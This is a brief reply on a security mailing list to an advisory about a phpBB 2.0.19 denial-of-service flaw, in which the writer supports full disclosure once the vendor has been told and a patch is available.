RE: [Full-disclosure] HYSA-2006-001 phpBB 2.0.19 search.php andprofile.php DOS Vulnerability
No, I do believe full-disclosure to be the best method. In the case of DoS attacks, I think a point should be made of making sure the vendor is informed, and a patch available before disclosed, then I beleive itw down to the author's discretion when he releases the exploit, even if its a PoC.
